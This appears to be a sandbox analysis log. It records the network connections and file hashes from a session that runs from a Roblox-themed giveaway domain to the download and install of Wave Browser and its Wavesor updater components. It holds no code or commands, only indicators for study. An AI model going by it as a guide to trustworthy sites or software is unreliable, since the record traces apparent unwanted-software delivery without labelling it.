FR 216.58.215.35:443 tcp
FR 216.58.215.35:443 tcp
FR 216.58.215.35:443 tcp
FR 142.250.179.68:443 www.google.com udp
US 162.247.243.29:443 bam.nr-data.net tcp
US 35.206.11.92:443 tcp
TW 34.80.89.126:443 tcp
FR 216.58.215.35:443 tcp
GB 87.248.114.11:443 tcp
TW 34.80.89.126:443 tcp
FR 142.250.179.99:443 tcp
FI 35.228.141.16:443 tcp
FR 142.250.179.99:443 tcp
US 192.178.49.163:443 tcp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:8443 claimrbx.gg tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 151.101.130.137:443 code.jquery.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.21.27.152:443 use.fontawesome.com tcp
US 104.21.27.152:443 use.fontawesome.com tcp
GB 108.138.217.10:80 c.pubguru.net tcp
US 104.21.38.28:443 rbx.how tcp
US 104.21.38.28:443 rbx.how tcp
US 104.21.38.28:443 rbx.how tcp
US 104.21.38.28:443 rbx.how tcp
US 104.21.38.28:443 rbx.how tcp
US 104.21.38.28:443 rbx.how tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
GB 92.123.140.8:443 tr.rbxcdn.com tcp
FR 216.58.215.34:80 securepubads.g.doubleclick.net tcp
DE 18.157.210.217:443 a3.pubguru.net tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
DE 18.157.210.217:443 a3.pubguru.net tcp
DE 18.157.210.217:443 a3.pubguru.net tcp
FR 216.58.215.46:443 www.youtube.com tcp
CA 15.235.9.150:8443 claimrbx.gg tcp
US 8.8.8.8:53 8.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 217.210.157.18.in-addr.arpa udp
FR 216.58.215.46:443 www.youtube.com udp
FR 142.250.179.86:443 i.ytimg.com tcp
US 8.8.8.8:53 yt3.ggpht.com udp
FR 216.58.213.74:443 jnn-pa.googleapis.com tcp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.179.97:443 yt3.ggpht.com tcp
FR 216.58.213.74:443 jnn-pa.googleapis.com udp
FR 142.250.75.238:443 play.google.com tcp
FR 142.250.75.238:443 play.google.com udp
CA 15.235.9.150:80 claimrbx.gg tcp
US 8.8.8.8:443 dns.google udp
FR 142.250.179.67:443 udp
FR 142.250.75.238:443 play.google.com udp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
CA 15.235.9.150:8443 claimrbx.gg tcp
CA 15.235.9.150:8443 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
US 172.67.139.41:443 wall.adgaterewards.com tcp
US 162.159.129.233:443 cdn.discordapp.com tcp
US 162.159.129.233:443 cdn.discordapp.com tcp
CA 15.235.9.150:8443 claimrbx.gg tcp
US 185.199.111.153:80 malsup.github.io tcp
US 8.8.4.4:443 dns.google udp
FR 216.58.215.35:443 udp
FR 216.58.215.35:443 udp
FR 216.58.215.35:443 udp
CA 15.235.9.150:80 claimrbx.gg tcp
GB 143.204.68.106:443 www.offertoro.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.179.68:443 www.google.com udp
GB 18.154.84.75:443 static.offertoro.com tcp
FR 142.250.179.67:443 udp
DE 3.124.126.112:443 a3.pubguru.net tcp
CA 15.235.9.150:80 claimrbx.gg tcp
CA 15.235.9.150:80 claimrbx.gg tcp
NL 188.166.203.175:443 brightcombid.marphezis.com tcp
DE 37.252.173.215:443 ib.adnxs.com tcp
IE 3.251.24.2:443 ad.360yield.com tcp
US 34.120.63.153:443 prebid.media.net udp
IE 79.125.113.151:443 ap.lijit.com tcp
FR 185.255.84.151:443 hb-api.omnitagjs.com tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
FR 142.250.178.129:443 s2.googleusercontent.com udp
GB 92.123.142.83:443 r.bing.com tcp
GB 92.123.142.185:443 th.bing.com tcp
US 13.107.5.80:443 services.bingapis.com tcp
US 150.171.27.10:443 bat.bing.com tcp
FR 142.250.201.163:443 www.google.co.uk udp
US 216.239.32.36:443 region1.google-analytics.com udp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.111.133:443 user-images.githubusercontent.com tcp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
US 185.199.110.154:443 github.githubassets.com tcp
US 140.82.114.21:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.4.4:443 dns.google udp
FR 142.250.179.67:443 udp
US 8.8.8.8:53 swupdater.com udp
US 18.210.144.237:443 swupdater.com tcp
US 8.8.8.8:53 aefd.nelreports.net udp
GB 173.222.211.40:443 aefd.nelreports.net tcp
GB 173.222.211.40:443 aefd.nelreports.net udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.4.4:443 dns.google udp
FR 216.58.215.35:443 udp
US 8.8.8.8:53 api.adgone.org udp
US 8.8.8.8:53 api.adgone.org udp
US 8.8.8.8:53 mail.google.com udp
US 8.8.8.8:53 mail.google.com udp
FR 142.250.179.68:443 www.google.com udp
US 8.8.8.8:53 beacons.gcp.gvt2.com udp
US 8.8.8.8:53 beacons.gcp.gvt2.com udp
US 8.8.8.8:53 beacons.gcp.gvt2.com udp
US 8.8.8.8:53 beacons.gcp.gvt2.com udp
US 8.8.8.8:53 mail.yahoo.com udp
US 8.8.8.8:53 mail.yahoo.com udp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
US 8.8.8.8:53 api.adgone.org udp
US 8.8.8.8:53 api.adgone.org udp
US 8.8.8.8:53 mail.google.com udp
US 3.220.131.74:443 api.adgone.org tcp
US 8.8.8.8:53 mail.yahoo.com udp
US 8.8.8.8:53 mail.yahoo.com udp
US 3.220.131.74:443 api.adgone.org tcp
US 3.220.131.74:443 api.adgone.org tcp
US 3.220.131.74:443 api.adgone.org tcp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
FR 142.250.179.67:443 udp
US 8.8.8.8:53 optimizationguide-pa.googleapis.com udp
US 8.8.8.8:53 optimizationguide-pa.googleapis.com udp
FR 216.58.215.42:443 optimizationguide-pa.googleapis.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 92.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
GB 20.26.156.210:443 api.github.com tcp
GB 2.17.209.140:443 metadata.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 57.211.222.173.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.216:443 codeload.github.com tcp
US 8.8.4.4:443 dns.google udp
FR 142.250.179.67:443 udp
US 8.8.4.4:443 dns.google udp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
GB 92.123.142.114:443 www.bing.com tcp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 r.bing.com udp
GB 92.123.142.91:443 r.bing.com tcp
GB 92.123.142.91:443 r.bing.com tcp
GB 92.123.142.161:443 r.bing.com tcp
GB 92.123.142.161:443 r.bing.com tcp
US 8.8.8.8:53 161.142.123.92.in-addr.arpa udp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
GB 173.222.211.40:443 aefd.nelreports.net udp
GB 20.26.156.215:443 github.com tcp
US 140.82.113.22:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.4.4:443 dns.google udp
FR 142.250.179.67:443 udp
GB 20.26.156.216:443 codeload.github.com tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:443 dns.google udp
FR 142.250.178.133:443 mail.google.com tcp
FR 142.250.178.133:443 mail.google.com tcp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
FR 142.250.179.68:443 www.google.com udp
GB 87.248.114.11:443 mail.yahoo.com tcp
FR 216.58.215.35:443 beacons.gcp.gvt2.com udp
GB 2.18.66.163:443 tcp
GB 92.123.142.129:443 r.bing.com tcp
GB 92.123.142.129:443 r.bing.com tcp
GB 92.123.142.129:443 r.bing.com tcp
GB 92.123.142.129:443 r.bing.com tcp
GB 92.123.142.129:443 r.bing.com tcp
GB 92.123.142.129:443 r.bing.com tcp

Files

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 c9efc5ba989271670c86d3d3dd581b39
SHA1 3ad714bcf6bac85e368b8ba379540698d038084f
SHA256 c2e16990b0f6f23efdcecd99044993a4c2b8ba87bd542dd8f6256d69e24b93b3
SHA512 c1bc0dc70ab827b54feb64ad069d21e1c3c28d57d126b08314a9670437881d77dba02b5cca57ef0f2aa7f8e7d4d163fbd2c6f246ea2d51ce201d61a89015e8b7

\??\pipe\LOCAL\crashpad_2044_YGCPVWUJGGBCJTFK

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 302c3de891ef3a75b81a269db4e1cf22
SHA1 5401eb5166da78256771e8e0281ca2d1f471c76f
SHA256 1d1640e5755779c90676290853d2e3ca948f57cf5fb1df4b786e277a97757f58
SHA512 da18e7d40376fd13255f3f67a004c3a7f408466bd7ce92e36a4d0c20441279fe4b1b6e0874ab74c494663fb97bd7992b5e7c264b3fc434c1e981326595263d33

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 9d4e93af015b4c9c6e32c7397b313827
SHA1 b654215e3018fa798c5b640bdd5050d16b2aa8ba
SHA256 6ef55b81390127867f45a7a5c44de32f5f15b8ed982259dc73bc2c3bd4c5ae9e
SHA512 bfdce3dd3165e9c098be559a3b9ce15f9a1b3461dd4f82f784f167cc0df6c571cf36ec65d64cc61fd6c2b83f663f2ac763646e6cdc36bffd830eada23f763058

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 135847677a20453de6383092c1c2e881
SHA1 9e2be3bb4c3ac1f991a0f6406772c4d826449c80
SHA256 f6cdb47365be1c4be53341a1c05b32031c03b1847bf1b79d105e85ac3b5ae6cb
SHA512 8830b8fc5dc3b319e0cd0656545dfed65df5e938f2beec44d31b709249044602732a9e1d53957a27eecf819236b8bc86da2d9fbb9eaadbeb587326696570b540

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 2b67f717d6155d3bca5fc92a1e94f330
SHA1 958de22518a0df35947d670d6b4ba3c3f1d69188
SHA256 0cf0cc9e607d735e18353fb96dd54988470be49e0d0968b23ecab05c8c848785
SHA512 bea63e9e4d828af7729ebd166ce7054495991a3225a0824793754ed9b61c96480ed05b22272177fca114977025f933992b866e1313dd0e7980c8370d5af3556a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 206702161f94c5cd39fadd03f4014d98
SHA1 bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA512 0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 d82e0ffb73700c75ca260ee40866d33c
SHA1 538fa57db35fd6c894747c2da0d4c7f44160621b
SHA256 53c90b0aca6df7c9582f4860e3c16c9e71aaf43e5ee1c2a6b69c5fc5040ff5f1
SHA512 b5a8ade263b3d12814639013286a1e280c6a3c6b6ff7a03f92a5bac69a6e13a7f305cbf362f38f80b7cd1fc5314e7a8e67a711b5054b3e060c08dd2f21286e89

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 073fb7f398e89add2fcd8b3c159587cc
SHA1 745d975191fc0d93a64d7fde175f89f4bb31b552
SHA256 4d634582c7426569d59a6f5963f19cd30ace5acff7491bd356755599c2732111
SHA512 e9e52e433470b9abee60064ade6ba7f2eb59526c0468d54adb5479a78382fd3d5bd400de8cc20b06a43f8f008b30b234593e2cb93639804a1c7238dc8efff987

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 429b7b827958fbc755390cc2aeb6dce3
SHA1 4ceaf82f5d396ed9e40e9e194989a14d3ed3b15d
SHA256 4bc1f4659e23f8bb14c867488b8c88cd0efdfef24c6181829d5233d870bfa38b
SHA512 7c29b190ff9e67f22854139b32c85dea0f0edf003bc3bd95134a618c2f8d1d31abd2d03a9cd8a089418d1995b2c3b2ae7c50d19f4f5d5c6f1ddf782f75de82b1

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 6494816e8990386b358fe9e8fe43035c
SHA1 f9ddd84a47cabb983b3bd237d08f313e465de871
SHA256 dc817f788ef93bf278f86cc5ab4aa4df1c6fcd8a470783bffe16ba3f33005220
SHA512 88366129f2ce3592c2167ab8cd3b1730bae1f831a0c12b54cc3746c2ab2d42ec7abb06b280761446fa2d155b83d03e5e3341b0f6001af577393d1a1c61805a56

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 735bf6b2611c4c67a6fd3cf12d12964b
SHA1 beefa0d0cfbb479ecdbf18688924032467fd1b96
SHA256 b7527239a7985d912c0ba6167e9ec87750826d3793ec3821dba8f19ab2607230
SHA512 bce54e4539de7c47ed72bb8c877f40cdd694cb7063dd1997d9e495ba2ff1cb45c26308dd731df184904d2d141ae2c7ad4f2fd2dc29d8ae0f144fa3361d03bb80

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 0dacedc614515c1126ba48ac709ac03b
SHA1 f10f8be9e6627d55158cbfe9b9e81f3cecaa6700
SHA256 bbed84d35b68da0d0af6d839839904df7cf3ef9fb41d47394fc3d60ca3137610
SHA512 aba1f01cb5a47210332c7210ad1e03b2dd238286b3af9e23edf9d6b0fd5b0d9068cb0b570209aeeaceb37caa8cc1b1cccfcbdc239fdc7949cb57310ccc246971

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00002d

MD5 2257803a7e34c3abd90ec6d41fd76a5a
SHA1 f7a32e6635d8513f74bd225f55d867ea56ae4803
SHA256 af23860fb3a448f2cc6107680078402555a345eb45bc5efb750f541fe5d7c174
SHA512 e9f4dc90d0829885f08879e868aa62041150b500f62682fc108da258eee26ad9509dcbf6e8a55f2d0bdba7aa9118dd149a70a7d851820d4ea683db7808c48540

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 3432c9976e7c990945bb42879d4ed457
SHA1 358c48d15c6ad892862e9a610897655f7742afe6
SHA256 b03e5b439b08171a1a807f627535a83f806fd9d34a334f498c32796538ae6132
SHA512 777bce7eed6aedc4dbb97d34f8e1148f86cf1ad3389e0e85ee0debf25f84495dd7e8369b3b9ad829bc7d1b0803be837911bd244b89b6ae539046c174e0f5c69b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58a582.TMP

MD5 56008e73ed85208fdbfc099ab71c6b41
SHA1 3ab7dcb550952172ce9b2cca88550ed5447f4906
SHA256 ac5f889525630dc32b912c5407013d5bb3a8cdf70960c4a81bea98f0495e7c8e
SHA512 4f47547b36c272af1b4c82db701dce70d650b255d49774351e8cde28cb3eff1b42a3d2a09159f137e48c05690268d12a96fb3acaa9cafd6f2ba71e00a1c5ecb2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 57cd0481bc70eb459723d143dc3aeda7
SHA1 36209a56b290e7b8b32bd05299f9e5f737be724a
SHA256 71f12af0cae19f9e4c5c68d79d4b5d0571a1ab6c8cf4495011da71d83bff7824
SHA512 ceb39809ab7b250f86b3b1fbf772b46634cc13f14617587961a81a6f293546fdb71fdca1c78a4f0edb2442a80e90615974d03f0a34d7dcedbda3ab44135f417d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 746ee1f83f5850258a52f01bacd3c033
SHA1 96e9df7a6566f9eff48faa772cd36718c7b8795b
SHA256 e7e32fd4abaa1ff0370194a70a885543847d2590fbaca7e6c125338a52b1f2d1
SHA512 c0a3d32bd3310594e6e7c55ace13521254dbf5e7f2ae2ca665d9e817a630870de3af023bfa0c76244e8788746524149e4f87ab7b92e512f0c005522c2a131208

C:\Users\Admin\Downloads\Unconfirmed 880969.crdownload

MD5 c9db6b5c84be13a43ad23cc204e4bc52
SHA1 94bd6634303205715fd04f8aa10d75158390e4d9
SHA256 77200156d4773175d341aad11ab23bd52445065cd95060348da17d083dc27688
SHA512 9273493c5e5ea24b2f5ee219fdf849546e85b3f5cc24c970f1ab6fdcfe961d96ca6fd41c96f9d915892ab24ce7ff409f0f5a6569b0225e95d36afba51615f8d6

C:\Users\Admin\Downloads\Wave Browser.exe:Zone.Identifier

MD5 fbccf14d504b7b2dbcb5a5bda75bd93b
SHA1 d59fc84cdd5217c6cf74785703655f78da6b582b
SHA256 eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913
SHA512 aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 f31c913e8102946bf0c0e32f5357f8b7
SHA1 d15f821d59581f38de7185f81010cbd9664f41d6
SHA256 e870a74104f1488ebc6e2087459b08b87a3af74d27074ec91c44c90b73c21a3f
SHA512 8998d18eecdaec005082b797753aa421e1864e9589995c66bcfbd0fad3653ec37cea9b8eee2c2c4b29c622234957e7c035944d283845beda8ffdacb4f0f446e6

memory/2820-650-0x0000000000620000-0x000000000075E000-memory.dmp

memory/2820-651-0x000000001E5C0000-0x000000001E5C8000-memory.dmp

memory/2820-653-0x000000001EA10000-0x000000001EA1E000-memory.dmp

memory/2820-652-0x000000001EA50000-0x000000001EA88000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 b29081154bf390712357bb3a86b9dbbd
SHA1 d9f2cd2c109ea2354eb4e280a582f74545675983
SHA256 2a3b1bf3b9b2f9d32c6c2603830cbefd2bc23f4a6c26a54e68e6676784da6f64
SHA512 5f86e38dadb7a8e8c506204cd6f8b0a81d2866d5c8685471f278f60a468e56427bccf07a20a539d7da1402aec1a103238ba3459cc7bb7a06e7b08c7e5c7afb47

memory/2820-663-0x000000001FAE0000-0x0000000020008000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe

MD5 d083a07a3dca2d0ea5ddb0e959fb8ff4
SHA1 86f3f43729db553d45b728b1409b73d3de5a5915
SHA256 05e1c6babb787f24d8a60f8ded2c216c9bc2956970d75073a71139fe168a122f
SHA512 d16259a1fcb29def140e9e1768b99d973b434c97bf7b09bd0d223143a622ee720d2531a84dd4edf082300fb5f4f00812e418c0131b196375821e612bf34f7aac

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe

MD5 b282ce9b81f606d1c6cbda554dcd4efa
SHA1 7554ca07096a2e410f2cd3c98beb7b7e6be27f3a
SHA256 1893941e9dd1ca1296e7f575a9442fa1cc53dfeaf2d1bc94d01608ba9e7e31bb
SHA512 9e71f3cb4ea67831dbee5bb4cbb2dbd9f8ff8ffd1158fe2fcac41c89169a9aa3236c8d163f7d4e9df5e2b70ba2be20fe3af97bef70be40f45dd11acb5b4bc184

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\swupdater.dll

MD5 9d66c62b0a6b9d86b2c90d45d0655701
SHA1 93b230c4c942ed55a84c5a1e744e924bf988ad82
SHA256 ab9b3eba2befb88ab1919fe47ab74d181abd7c85851164bcf8f200e7c0db3a54
SHA512 a5484333485823db0f7f11c978e2e110294ce8e9a212d3d6c7b56a1a160cdf33a8db0146809e52e5287d75fd474307224d6987d17b482da293a4491bb1e5e360

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\swupdaterres_en.dll

MD5 4c638b6d2d9e243ee521ec29297728d2
SHA1 142b6487238f0a00d016f73eda5dc7800e687891
SHA256 4df4cf6c745ee927376ac7b1cc6baa9b7a749f60ce20e27b3bed209295849d6f
SHA512 accb61833b6c6172768d4721c1124ebe10eae77224c2f939f33988562b5a299f3a65c6dcd5c9c3169a4831ad4873a8c1ad4dfe3340156398760535ced4bdc588

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterCore.exe

MD5 c2540f15c66d32d867f8205e39ba5c2f
SHA1 7a835852b20e9721eab276543e0202465e702d07
SHA256 9b296f4894f4a969f2f3ce0c5c2ddb8eea503deb4919b23555fc3f04fa0aed41
SHA512 3e0cd859f84598a409370498ba601147559c42f77a685bb131080e92e3cb87af1fcb793711d4331ce880deae4491cef3969f9e996e17b63caa3aa1d98d6c13e9

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psuser.dll

MD5 db8b356ab2314b130b4b85593576de14
SHA1 f89395e6bc1ea5ec03f2a8aac940218d9e3b8a52
SHA256 8a412a690343346783c19967ed0ad7e1d8a1e6e31015c62828e792fb0a5ea626
SHA512 769eb74dec2658053b7bbfbe4393fbcaf6598c41fdc894817b2db4b0a5eaa8748a174ffc7b41958ae7de10bf8c5db930fd2d783f32ee07c5c1f234b2bf41eb88

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psmachine.dll

MD5 13ed360db95682e27c69f74912f17140
SHA1 7519f2202e581defb7be93716d461470c1d91270
SHA256 0d2e7bf4108138bd73343d7415181b20c4656e57716ca9bbb07b4ba9ed04e1b6
SHA512 0f783fb106a68f532cf5f6d4be0f96233ea61441b8785206c49f1f2dc409c5a5f3976ac3f0244231e88c9113dd04f227069501d8217f7a254e180dde5bf4ffcd

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterOnDemand.exe

MD5 06dd62361bae24f8dac385c07c162b69
SHA1 ee385799aec954fe9fc3de7c81f48e7d2dd7eb71
SHA256 2700573511aa417faedc4767645ef3334f46e73195f164a960c474717a3e0b0c
SHA512 45d3c62f51f17231c561848da47ee2a9865130e98a38bab3afd4c048bcaf739ebd556922112f675b4635fb771331720bc971149168153800a6581ff20272d830

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterBroker.exe

MD5 c209d2a5f427b8dbd6ec71d6e57c7e61
SHA1 8340f5b41fb70e01791f1c1518d0308084b2dd63
SHA256 76a54d6c150e7f38a08032a260eb5396c8df89ce9cef27f99a2a2bdf23d9f381
SHA512 b2f24a876ed8749642ad353a2b32168f7d5fdfbf0acf78aa39bc4615a96016350f92406e8a657d289bc448a62e0acfdc57004595ef945bcc5b813d1a67d32f89

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psmachine_64.dll

MD5 d75403c05d96bed42e8e27d1e735e6e5
SHA1 7be275392bc5dab44818ddc48039bd2356605b69
SHA256 04dd87e70d8cdefae35953763a23ac30fd9d8b5ebcf424173f001e2c1889c08e
SHA512 b2e96840aabeb1677a225b2789104bb923125c8752f6e5a55d6c9074c381974b48232e0c0e419e0f4398480ba411f2e3843dfb092553fb32bb6bedea1095be82

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psuser_64.dll

MD5 7f956dd9ae7c4d18789c62f545e21295
SHA1 1a9792cd0280e20c06555e2c82df8767aedd9acb
SHA256 9362a40da1c9ee1b600311eb2aa0f732299dd68e693254ed118a4dc5273b813e
SHA512 bacb1e1f829a1f1e28527468397d45ac9010f63f810eb73ec98546dc00f967e91b37b1ed087a86f0db6aa0249551d04188f1a8f24e0c78593f3333f49be8f925

C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterComRegisterShell64.exe

MD5 b483bb4c375468cfdae4a2ed4e40d056
SHA1 27311ef3b6a323335f46c4e81889a77ffb1b3002
SHA256 df80d9477a45eb1ff233f3d361a1d82729c368987de14c09747df0f959184902
SHA512 0116e83611626c27099a0171654a4f24d64c0c901bc597bf168f889a300a1f3aa62ef48759a78081fa1add6d82a8dd63d94eeba1d828d1aefa8ef17d2b0fb141

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 0aef300d51891d05fc2f510cbb0f29f2
SHA1 8da79af488e32380b94fa805b66eaf04131aeb24
SHA256 08c1c0c240439a714e6a9721453152391f8c679c8afc4fc90345435ed5c12b49
SHA512 43fec167f86b29ec659684713b994eaf276826fd04ec6deed7ef04e0a50fc3de6ece3771635515523e53843f793acf0ce0758e9d99dfa0ed6624ccb23bde151a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WaveBrowser.lnk

MD5 c7d59924db99afc96a12c924ab6b3be9
SHA1 1ed7782fdb1099cfda0e925815f55716f1452056
SHA256 986ba10749d3b9d2f7426af3dba1e1e58c181de4e43d39f247357fdcf23fc703
SHA512 e62cfb116e85a284443683cda977f685859d0b2dcf26984fa8bd53347987b5e3be2098d4ce8fc159c6081cabdc6f791cb6e6d1ed735a0f1c5c111c9c5de53e4d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Site Characteristics Database\MANIFEST-000001

MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
